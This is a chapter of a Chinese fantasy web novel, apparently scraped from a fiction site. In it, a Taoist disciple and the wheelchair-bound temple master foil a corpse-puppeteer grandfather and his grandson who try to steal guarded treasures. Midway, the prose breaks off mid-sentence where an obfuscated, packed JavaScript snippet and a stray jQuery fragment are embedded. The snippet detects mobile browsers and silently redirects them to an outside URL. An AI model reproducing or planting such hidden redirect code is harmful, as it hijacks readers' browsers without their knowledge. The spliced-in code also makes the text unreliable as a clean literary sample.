长丰观后山小道,人迹罕至。
方涯领着几个道观弟子推着板车,疏通被泥石流淹没的小路。
正午艳阳高照,弟子们将袖管捋到手肘上,用襻膊牢牢绑住,挥动铁铲时,汗水顺着结实紧密的小臂肌肉滑下,不多时就浸湿了衣摆。
方涯抹了一把汗水:“天气热了,我去拎壶水。”
说着把铲子斜地里一插,立在土坑上,刚要转身,撞上一个不知哪里钻出的老头。
老头穿着棕马甲,戴着旅游团小红帽,身后跟着个高大壮实的兜帽墨镜男。
“小道长,不好意思啊,”老头脸色赧然:“我和我孙子走错路了,请问这后面能上三清殿吗?”
后山属于未开发区域,一般都是观内弟子出入。
这小路能穿过外层竹林,直达慈堂门口,偶尔有些想逃票的游客也会试图钻空子,不过都会被监院师叔发现,让人请出去。
老头忙不迭掏出手机界面:“我孙子买过票,唉年纪大了,腿脚不好,好不容易出来一回,你看这事整的。”
从这小路要绕回正常游客出入大门少说一个小时,还没算那条高耸入云的夺命阶梯。
方涯皱了皱眉:“我反正要回去一趟,您跟在我后边吧。”
“哎,哎!谢谢您啊,遇上好人了。”老头笑得满面春风,逮着方涯一个劲儿往死里夸。
方涯余光瞥过那全副武装的高大男人,只见对方不仅戴着兜帽和墨镜,甚至还蒙着口罩,在这暑气渐浓的天日里有些格格不入。
老头看出对方疑惑,解释了句:“我孙子皮肤过敏,晒不得太阳,见笑了见笑了。”
方涯摆摆手,没说什么。
他撩裾从小路走过去,老头也缓步跟上,老头的孙子晃晃悠悠走在最末。
忽然,方涯出声问道:“老人家,走这么久不累吗?”
“累是累了些,不过出门在外就是要多流点汗,不然怎么说来过鹿驳山呢?”老头笑眯眯地接话。
方涯回头:“路要是走对了,也不至于这么辛苦。”
老头抬头看他一眼,半晌笑着摇头:“走错路有走错路的风景,况且能到终点就行。”
方涯转回身,把铲子扛在肩上:“那估计悬。”
老头背着手立在原地,只略微抬了一下松动的眼皮,笑了笑:“这就麻烦咯……”
说着,那兜帽男忽然暴起朝方涯扑过去,方涯侧身躲过,挥起铲子回敲,却发现对方似乎没有痛觉,依旧不改凶狠攻势。
方涯惊讶:“您这孙子有点东西。”
他放弃缠斗,退远几步看着祖孙两人。
“小道长,你是怎么发现的?”老头立时背也不驼了,声音也不抖了,满面红光精神抖擞,先前的萎靡之态荡然无存。
方涯冷哼一声:“拇指和食指那么重的沟壑,一看就是做了不少‘针线活’,你孙子大热天穿成这样,不走前门,是怕山门殿有雷池吧。”
老头有些意外,抬起右手自己瞅了几眼:“真这么明显?”
说罢,他浑不在意地一挥手:“既然如此,那便放开了胆子打吧。”
兜帽男手背青筋浮现,墨镜之后燃着两捧幽幽鬼火,喉咙间发出嗬嗬的威胁声响。
方涯皱起眉:“朱盟没什么对不起你们阮家的地方,何苦来凑这个热闹。”
老头阴恻恻一笑:“阮家?我呸!我胡家做了几百年的点灯人,他姓阮的算老几?”
他说到激昂愤慨处,表情凹得狰狞:“针线活偷也偷得不成样,画虎类犬,东施效颦!”
方涯懒得听他抱怨,只摆出架势,脚下生风,拿一招奇仪凶格与凶尸对敌。
可逐渐地,他觉得有些不对劲——寻常尸匠驱使的凶尸,都是四肢发达头脑简单,以量取胜。
但这个兜帽男却不同,他虽没有痛觉,但机敏有盘算,趋利避害,打得很有章法。
方涯心中一惊,头皮有些发麻:“他莫非不是死人!”
“哈哈哈哈!”老头大笑起来:“你还真有几分眼色。”
“不可能,”方涯错愕:“活人怎么……”
活人怎么可能没有痛觉?
老头讥嘲:“老夫之前说过了,他阮家偷也偷不明白。”
他目光阴鸷:“我胡家的针线活,自古以来就能对活人用。”
方涯心绪起伏,随后隐有怒意:“你……你拿这种狠毒手段对一个活生生的人……”
老头蓦地打断他:“他的身份老夫没有骗你。”
“你对自己的孙子都下得去手?!”方涯更是大为震撼。
兜帽男却嗬嗬笑起来,发出令人毛骨悚然的声音:“我……自愿……的。”
说着,他翻掌为爪,暴力劈断一颗树,将沉沉枝干朝方涯压过去。
“你们站住!!”
方涯一时不备被缠枝困住,一老一小对视一眼,纷纷不再停留,提步朝通往竹林的小路飞驰而去。
“再快点、再快点……”
奔跑中,老头难掩激动地低语:“等我们拿到那件宝贝……”
竹林绿浪翻涌,景色飞速往后推却。
前方不远处,一簟碧绿深潭平静无波栖在竹斋脚下,高大笨拙的木傀儡正推着一个白衣人缓缓往前,二者对身后的追袭浑然不觉。
“哈哈哈哈!”老头忍着狂笑,伸手一抬,袖口间钻出红线,朝木傀儡榆生的方向钉去。
与此同时,兜帽男一跃而起,眼看就要一爪掐断白衣人的脖子。
“你们在找我吗?”
突然!一个清冽平和的嗓音在身后响起。
兜帽男一爪劈空,错愕间回头,白衣青年正好整以暇坐在轮椅上,歪头支着腮,似有些疑惑地看过来。
意识到被戏耍,兜帽男怒不可遏大吼一声,老头见状立刻上前喝止,却被狂怒的孙子推到一旁。
白鹤也略一挥手:“请他们下山。”
刹那间,两条骨鱼从泥土里跃出,役妖雄浑的声音自空荡荡的骨刺中荡漾开。
“得令。”
老头咬牙后退几步,经历一番煎熬衡量后,让孙子先行抵挡,自己则偷摸赶去竹斋。
早在近百年前,异管局应运而生,也将白家人推至台前。
虽一些世家大宗对其颇有微词,但朱盟既立,也没人明面上和白局长过不去。
但长久以来,异管局把控了半数
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586587|167290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朱盟中消息和资源,甚至一些失落的传世法宝,也由他们收藏看管。
长丰观观主自小患有腿疾,足不出户,囿于一方竹斋。
但朱盟中心知肚明,白鹤也守着竹斋,是为了替白景则看管那些棘手的宝物!
甚至连《太隐仙律》也在其中。
此书隐含成仙大道,源自老君亲笔所著,曾搅得江湖不得安宁,不知何时落入异管局手中,时值家国动荡,也便不了了之。
可仍有虎视眈眈的人藏在暗处蠢蠢欲动。
老头清啸一声,闯入竹斋,目光才刚落在屏风后那具清漆棺材上,就发现屋内还有其他动静。
他骇然回身,同横梁上倒挂下来的一人对了个正着。
“你!”他来不及反应,就被对方捂住嘴巴,做了个嘘声的姿势。
这女人黑色短发,刘海遮了左眼大半,右边鬓角潦草拿夹子别住,整个人有种颓然丧气,却又让人觉得十分危险。
老头悚然:“你是……”
话音未落,女人眨了眨眼,拎起老头的衣领,将他直接扔出了竹斋。
此刻,兜帽男正骑在一条骨鱼上眼看险胜一筹,却被横飞出来的老头撞上来,一老一少双双飞出竹林,从崖坡边骨碌碌滚了下去。
滚到底了,方涯正带着一众弟子摩拳擦掌面无表情地俯视过来。
“都让你们别去了,”方涯叹口气,指挥一个弟子把板车推过来:“又得多推两个。”
之前被清出的土坑里,横七竖八躺了一地的人。
全是被观主扔下来的。
方涯活动了一下胳膊,把昏迷的两人抬到板车上。
“大师兄,还扔那林子么?”
“嗯,那里蛇虫多,醒来有他们忙,不会再来找麻烦。”
方涯盯着那老头看了会儿,嘀咕:“观主今天真够手狠的。”
他仰起头,试图从这里看向竹斋的方向,表情疑惑:“是心情不好吗?”
而另一边,竹斋旁。
白鹤也耐着性子问:“你到底要在我房间里藏多久?”
龙竹不大情愿地揣手走出来:“我来找你,你不在。”
白鹤也打量她一番,心平气和:“香又吃完了?”
龙竹摇头:“还没。”
她挨近几步,目光直勾勾定在对方腿上,其中含意呼之欲出。
白鹤也神色一滞,将衣摆一撩遮住脚踝:“榆生。”
木傀儡推着轮椅往回走。
龙竹紧跟上去拦住对方去路,白鹤也微一蹙眉,那双似乎总是波澜不惊的眼眸里掀起几分愠怒。
那一瞬间,空气里有什么东西在变化。
筋脉从他的锁骨攀至脖颈,眼白染墨,瞳仁隐显赤色。
——但仅仅只是一瞬间。
电光石火,一切又恢复原貌。
“就是这个,”龙竹有些惊喜地弯下腰:“你腿上的禁制,是因它而来的吗?”
白鹤也微微错愕:“你怎么……”
见龙竹伸手过来,他谨慎地扶着轮子退后几步:“别碰!”
他神色复杂地抬眼,沉声道:“既然你知道是禁制,就该明白触摸到的后果。”